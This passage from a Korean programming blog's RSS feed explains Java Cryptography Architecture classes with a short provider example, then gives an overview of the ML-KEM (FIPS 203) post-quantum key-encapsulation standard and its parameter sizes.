&lt;td style=&quot;width: 80.465116%;&quot;&gt;&lt;span&gt;대칭키 암호에서 사용하는 **비밀 키(대칭 키)**를 생성하는 클래스입니다. 예를 들어 AES 알고리즘용 키를 만들기 위해&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;KeyGenerator.getInstance(&quot;AES&quot;)&lt;/span&gt;로 객체를 얻고 키 크기를 설정한 뒤&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;generateKey()&lt;/span&gt;를 호출하면&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;SecretKey&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;객체를 생성합니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;. 생성된 비밀 키는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;Cipher&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등에 전달되어 암호화에 활용됩니다.&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 19.418605%;&quot;&gt;&lt;span&gt;KeyFactory&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;/&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;SecretKeyFactory&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 80.465116%;&quot;&gt;&lt;span&gt;**키 변환(Key Conversion)**을 위한 클래스입니다. 외부에서 받은 키 자료(예: X.509로 인코딩된 공개키 바이트 배열 등)를 자바의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;Key&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;객체로 변환하거나, 반대로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;Key&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;객체를 키 명세(&lt;span&gt;KeySpec&lt;/span&gt;) 형태의 데이터로 변환할 때 사용합니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;KeyFactory&lt;/span&gt;는 공개키/개인키에 대한 변환을,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;SecretKeyFactory&lt;/span&gt;는 대칭키(&lt;span&gt;SecretKey&lt;/span&gt;)에 대한 변환을 담당합니다. 예를 들어 RSA 공개키의 바이트 표현을&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;X509EncodedKeySpec&lt;/span&gt;으로부터&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;PublicKey&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;객체로 복원할 수 있습니다.&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 19.418605%;&quot;&gt;&lt;span&gt;&lt;span&gt;Key&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 80.465116%;&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;b&gt;암호 키&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;객체를 추상화하는 최상위 인터페이스입니다. 공개키(&lt;span&gt;PublicKey&lt;/span&gt;), 개인키(&lt;span&gt;PrivateKey&lt;/span&gt;), 대칭 비밀키(&lt;span&gt;SecretKey&lt;/span&gt;) 등이 모두&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;Key&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;인터페이스를 상속하며, 키의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;알고리즘 이름&lt;/b&gt;&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;포맷(인코딩 형식)&lt;/b&gt;&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;바이너리 인코딩&lt;/b&gt;&lt;/span&gt;을 얻는 메서드를 공통으로 제공합니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;. 이 인터페이스를 통해 상위 모듈은 키 유형에 상관없이 일관된 방식으로 키를 다룰 수 있습니다.&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 19.418605%;&quot;&gt;&lt;span&gt;KeyPair&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 80.465116%;&quot;&gt;&lt;span&gt;공개키와 개인키 한 쌍을 담는 단순한 컨테이너 클래스입니다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;getPublic()&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;및&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;getPrivate()&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;메서드로 각 키를 꺼낼 수 있으며, 주로 키 생성 결과를 전달하거나 키 쌍을 보관하는 데 사용됩니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;.&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 19.418605%;&quot;&gt;&lt;span&gt;KeyAgreement&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 80.465116%;&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;b&gt;키 합의(key agreement)&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;프로토콜을 구현하는 엔진 클래스입니다. 두 명 이상의 참여자가 각자의 키 정보를 교환하여 공동의 비밀키를 도출할 때 사용됩니다. 예를 들어 Diffie-Hellman 알고리즘을 통해 공유 비밀을 생성할 수 있으며,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;init(자신의 개인키)&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;후&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;doPhase(상대측 공개키)&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등을 거쳐&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;generateSecret()&lt;/span&gt;으로 합의된 공유 키를 얻습니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;.&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 19.418605%;&quot;&gt;&lt;span&gt;KeyStore&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 80.465116%;&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;b&gt;키 저장소&lt;/b&gt;&lt;/span&gt;를 나타내는 클래스입니다. 파일 등으로부터 키스토어를 불러오거나 생성(&lt;span&gt;load&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;메서드), 키와 인증서를 저장(&lt;span&gt;setKeyEntry&lt;/span&gt;)하거나 읽어오는 기능을 제공합니다. 하나의 KeyStore 내부에 여러 개의 별칭(alias)으로 키 항목을 저장할 수 있으며, 각 개인 키는 자신의 인증서 체인을 함께 보관합니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;. 또한 신뢰된 공개키 인증서들을 별도로 저장하여&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;신뢰 저장소&lt;/b&gt;&lt;/span&gt;로 활용할 수도 있습니다. 키스토어는 JKS(Java Key Store), PKCS#12 등 다양한 형식으로 구현되어 있으며,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;KeyStore.getInstance(&quot;JKS&quot;)&lt;/span&gt;처럼 타입을 지정해 사용할 수 있습니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;.&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 19.418605%;&quot;&gt;&lt;span&gt;CertificateFactory&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 80.465116%;&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;b&gt;인증서&lt;/b&gt;&lt;/span&gt;를 생성하거나 변환하는 클래스입니다. X.509&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;디지털 인증서&lt;/b&gt;&lt;/span&gt;를 대표적으로 지원하며,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;generateCertificate(InputStream)&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;메서드를 통해 파일이나 바이트스트림에 인코딩된 인증서 데이터를&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;Certificate&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;객체로 파싱해낼 수 있습니다. 또한 인증서 폐기 목록(CRL) 파일을 파싱하거나, 반대로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;Certificate&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;객체를 인코딩된 형태로 변환하는 등의 기능도 제공합니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;.&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;각 클래스는 JCA의 표준 API로서 일관된 사용 패턴과 상호작용을 보여주며, 개발자는 필요에 따라 적절한 클래스를 선택하여 보안 기능을 구현하면 됩니다. 예를 들어, 데이터를 해시해야 할 때는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;MessageDigest&lt;/span&gt;를, 암호화가 필요할 때는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;Cipher&lt;/span&gt;를, 서명이 필요할 때는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;Signature&lt;/span&gt;를 사용하는 식입니다. 이러한 JCA 구조를 통해 자바 애플리케이션은 복잡한 암호 기술을 비교적 단순한 코드로 활용할 수 있고, 다양한 알고리즘과 구현체 사이에서도 호환성과 유연성을 유지할 수 있습니다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;JCA는 구현과 알고리즘의 세부사항을 캡슐화한 채 표준화된 인터페이스를 제공함으로써, 자바 보안 기능의 확장성과 견고성을 뒷받침하는 기반이 됩니다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;JCA의 역할과 장점&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;구현 독립성&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;ndash; 애플리케이션 개발자는 보안 알고리즘을 직접 구현할 필요 없이 JCA가 제공하는 표준 API를 통해 필요한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;보안 서비스&lt;/b&gt;&lt;/span&gt;를 요청하면 된다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 실제 알고리즘 구현은 자바 플랫폼에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;플러그인 형태로 제공되는 프로바이더&lt;/b&gt;&lt;/span&gt;들이 담당하므로, 개발자는 인터페이스만 알고 활용하면 된다&lt;span&gt;&amp;nbsp;&lt;/span&gt;.&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;알고리즘 독립성 및 표준화&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;ndash; JCA는 다양한 알고리즘에 대해&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;표준화된 인터페이스&lt;/b&gt;&lt;/span&gt;를 제공하여, 코드 변경 없이도 알고리즘을 바꾸거나 업그레이드할 수 있는 유연성을 준다. 예를 들어, 해시 함수 알고리즘을 MD5에서 SHA-256으로 바꾸더라도&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;MessageDigest.getInstance(&quot;MD5&quot;)&lt;/span&gt;에서 알고리즘 이름 문자열만&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;SHA-256&lt;/span&gt;으로 변경하면 동일한 방식으로 사용할 수 있다. (완전한 의미의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;알고리즘 중립성&lt;/b&gt;&lt;/span&gt;을 달성할 수는 없지만, JCA는 알고리즘별로 표준화된 API를 제공함으로써 이와 유사한 효과를 낸다&lt;span&gt;&amp;nbsp;&lt;/span&gt;.)&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;상호운용성&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;ndash; 서로 다른 프로바이더의 구현체들도&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;호환&lt;/b&gt;&lt;/span&gt;되도록 설계되어, 하나의 프로바이더에서 생성한 키나 서명 등을 다른 프로바이더를 통해서도 사용할 수 있다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 애플리케이션은 특정 프로바이더에 종속되지 않고 동작하며, 프로바이더 역시 특정 애플리케이션에 종속되지 않고 여러 애플리케이션에서 공통으로 사용될 수 있다&lt;span&gt;&amp;nbsp;&lt;/span&gt;.&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;확장성과 유연성&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;ndash; 새로운 알고리즘이나 보안 서비스가 필요하면 JCA에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;커스텀 프로바이더를 추가&lt;/b&gt;&lt;/span&gt;함으로써 손쉽게 플랫폼의 암호 기능을 확장할 수 있다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. JDK에는 널리 사용되는 기본 알고리즘들이 내장 프로바이더로 제공되지만, 표준에 없던 최신 알고리즘이나 특수한 요구가 있을 경우 별도의 프로바이더를 설치하여 지원할 수 있다&lt;span&gt;&amp;nbsp;&lt;/span&gt;.&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;안전성과 편의성&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;ndash; JCA는 검증된 구현체들을 통합된 방식으로 제공하므로, 개발자가 저수준 구현상의 실수를 줄이고&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;안전한 기본값&lt;/b&gt;&lt;/span&gt;을 활용할 수 있게 한다. 또한 보안 관련 설정(예: 프로바이더 우선순위, 제한 정책 등)을 중앙 관리할 수 있어&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;정책 적용&lt;/b&gt;&lt;/span&gt;이 용이하다. JCA의 구조 덕분에 성능이 향상된 구현이나 보안이 강화된 구현이 나올 경우 프로바이더 교체만으로 애플리케이션을 수정 없이 개선할 수도 있다&lt;span&gt;&amp;nbsp;&lt;/span&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;JCA Provider 사용 예제 소스코드&lt;/b&gt;&lt;/h2&gt;
&lt;pre id=&quot;code_1745142001143&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import java.security.Security;
import javax.crypto.Cipher;

// 등록된 Provider 목록 출력
for (java.security.Provider provider : Security.getProviders()) {
    System.out.println(provider.getName());
}

// 특정 Provider 사용하여 Cipher 인스턴스 생성
Cipher cipher = Cipher.getInstance(&quot;AES/CBC/PKCS5Padding&quot;, &quot;SunJCE&quot;);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Programming/JAVA</category>
      <category>java</category>
      <category>javacryptographyarchitecture</category>
      <category>JCA</category>
      <category>JCE</category>
      <category>암호프로그래밍</category>
      <category>자바</category>
      <category>자바프로그래밍</category>
      <category>프로그래밍언어</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/10</guid>
      <comments>https://defcon.tistory.com/10#entry10comment</comments>
      <pubDate>Mon, 21 Apr 2025 09:41:09 +0900</pubDate>
    </item>
    <item>
      <title>양자내성암호 ML-KEM (FIPS 203) 개요</title>
      <link>https://defcon.tistory.com/9</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;ML-KEM (Module-Lattice-Based Key-Encapsulation Mechanism)은 NIST에서 2024년 8월 13일에 발표한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;FIPS 203&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;표준입니다. 이는 양자 컴퓨터 시대에 대비한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;포스트 양자 암호(PQC)&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;중 하나로, 안전한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;공개키 기반 공유 비밀키 생성&lt;/b&gt;&lt;/span&gt;을 위한 암호 알고리즘입니다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;ML-KEM 개요&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;목적&lt;/b&gt;&lt;/span&gt;: 두 사용자가 공개 채널을 통해 안전하게&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;공유 비밀키(shared secret key)&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;를 설정할 수 있게 해주는 암호 기술입니다.&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;방식&lt;/b&gt;&lt;/span&gt;: &amp;ldquo;KEM (Key-Encapsulation Mechanism, 키 캡슐화 메커니즘)&amp;rdquo; 구조를 따릅니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;기반 수학&lt;/b&gt;&lt;span&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;Module Learning With Errors (MLWE)&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;문제의 어려움에 기반함. 이는 lattice-based 문제로,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;양자 컴퓨터에도 안전한 것으로 간주됨&lt;/b&gt;&lt;span&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1745091519040&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;1. Alice: KeyGen() &amp;rarr; (pk, sk)
2. Bob: Encaps(pk) &amp;rarr; (c, K)
3. Bob &amp;rarr; Alice에게 c 전송
4. Alice: Decaps(sk, c) &amp;rarr; K'
5. 이제 Alice와 Bob은 공유키 K = K'&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1745091933835&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;      Alice                                 Bob
     (수신자)                             (송신자)
   ------------                         ------------
   KeyGen()                             &amp;larr; ek (공개키)
   &amp;darr;                                          |
   ek, dk                                     |
                                             Encaps(ek)
                                              &amp;darr;
                                    생성: (c, K), send c &amp;rarr;
   Decaps(dk, c)                          &amp;larr; c
   &amp;darr;
   생성: K&amp;prime; (&amp;asymp; K)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;파라미터 세트&lt;/b&gt;&lt;/h3&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%; height: 85px;&quot; border=&quot;1&quot; data-ke-style=&quot;style13&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;background-color: #6ed3d8; color: #ffffff; height: 17px; text-align: center; width: 15.697674%;&quot;&gt;파라미터&lt;/td&gt;
&lt;td style=&quot;background-color: #6ed3d8; color: #ffffff; height: 17px; text-align: center; width: 25.581396%;&quot;&gt;보안 카테고리&lt;/td&gt;
&lt;td style=&quot;background-color: #6ed3d8; color: #ffffff; height: 17px; text-align: center; width: 29.186046%;&quot;&gt;설명&lt;/td&gt;
&lt;td style=&quot;background-color: #6ed3d8; color: #ffffff; text-align: center; width: 29.534884%;&quot;&gt;권장 사용 예시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;background-color: #efefef; height: 17px; width: 15.697674%;&quot;&gt;&lt;span&gt;ML-KEM-512&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f9f9; height: 17px; width: 25.581396%;&quot;&gt;&lt;span&gt;Category 1&lt;br /&gt;&lt;/span&gt;AES-128&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f9f9; height: 17px; width: 29.186046%;&quot;&gt;&lt;span&gt;성능 우선, 낮은 보안 수준&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f9f9; width: 29.534884%;&quot;&gt;&lt;span&gt;IoT, 모바일 등&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;background-color: #efefef; height: 17px; width: 15.697674%;&quot;&gt;&lt;span&gt;ML-KEM-768&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px; width: 25.581396%;&quot;&gt;&lt;span&gt;Category 3&lt;br /&gt;&lt;/span&gt;AES-192&lt;/td&gt;
&lt;td style=&quot;height: 17px; width: 29.186046%;&quot;&gt;&lt;span&gt;균형 잡힌 성능/보안&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 29.534884%;&quot;&gt;&lt;span&gt;일반 보안 통신&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;background-color: #efefef; height: 17px; width: 15.697674%;&quot;&gt;&lt;span&gt;ML-KEM-1024&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f9f9; height: 17px; width: 25.581396%;&quot;&gt;&lt;span&gt;Category 5&lt;br /&gt;&lt;/span&gt;AES-256&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f9f9; height: 17px; width: 29.186046%;&quot;&gt;&lt;span&gt;높은 보안, 느린 성능&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f9f9; width: 29.534884%;&quot;&gt;&lt;span&gt;고보안 시스템&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;파라미터 세트&lt;/b&gt;&lt;/h3&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%; height: 85px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style13&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #6ed3d8; color: #ffffff; text-align: center; width: 16.395349%;&quot;&gt;파라미터&lt;/td&gt;
&lt;td style=&quot;background-color: #6ed3d8; color: #ffffff; text-align: center; width: 17.558139%;&quot;&gt;공개키 크기&lt;/td&gt;
&lt;td style=&quot;background-color: #6ed3d8; color: #ffffff; text-align: center; width: 16.744187%;&quot;&gt;비밀키 크기&lt;/td&gt;
&lt;td style=&quot;background-color: #6ed3d8; color: #ffffff; text-align: center; width: 29.302324%;&quot;&gt;암호문 크기&lt;/td&gt;
&lt;td style=&quot;background-color: #6ed3d8; color: #ffffff; text-align: center; width: 19.883721%;&quot;&gt;공유 비밀키&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #efefef; width: 16.395349%;&quot;&gt;&lt;span&gt;ML-KEM-512&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f9f9; width: 17.558139%;&quot;&gt;800 Byte&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f9f9; width: 16.744187%;&quot;&gt;1632 Byte&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f9f9; width: 29.302324%;&quot;&gt;768 Byte&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f9f9; width: 19.883721%;&quot;&gt;&lt;span&gt;32 Byte&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #efefef; width: 16.395349%;&quot;&gt;&lt;span&gt;ML-KEM-768&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f9f9; width: 17.558139%;&quot;&gt;1184 Byte&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f9f9; width: 16.744187%;&quot;&gt;2400 Byte&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f9f9; width: 29.302324%;&quot;&gt;1088 Byte&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f9f9; width: 19.883721%;&quot;&gt;&lt;span&gt;32 Byte&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #efefef; width: 16.395349%;&quot;&gt;&lt;span&gt;ML-KEM-1024&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f9f9; width: 17.558139%;&quot;&gt;1568 Byte&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f9f9; width: 16.744187%;&quot;&gt;3168 Byte&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f9f9; width: 29.302324%;&quot;&gt;1568 Byte&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f9f9; width: 19.883721%;&quot;&gt;&lt;span&gt;32 Byte&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;복호화 실패율&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;파라미터&lt;/b&gt;&lt;b&gt;실패 확률&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 48.139535%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style13&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 29.418605%;&quot;&gt;&lt;span&gt;파라미터&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 18.72093%;&quot;&gt;&lt;span&gt;실패확률&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 29.418605%;&quot;&gt;&lt;span&gt;ML-KEM-512&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 18.72093%;&quot;&gt;&lt;span&gt;2⁻&amp;sup1;&amp;sup3;⁸.⁸&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
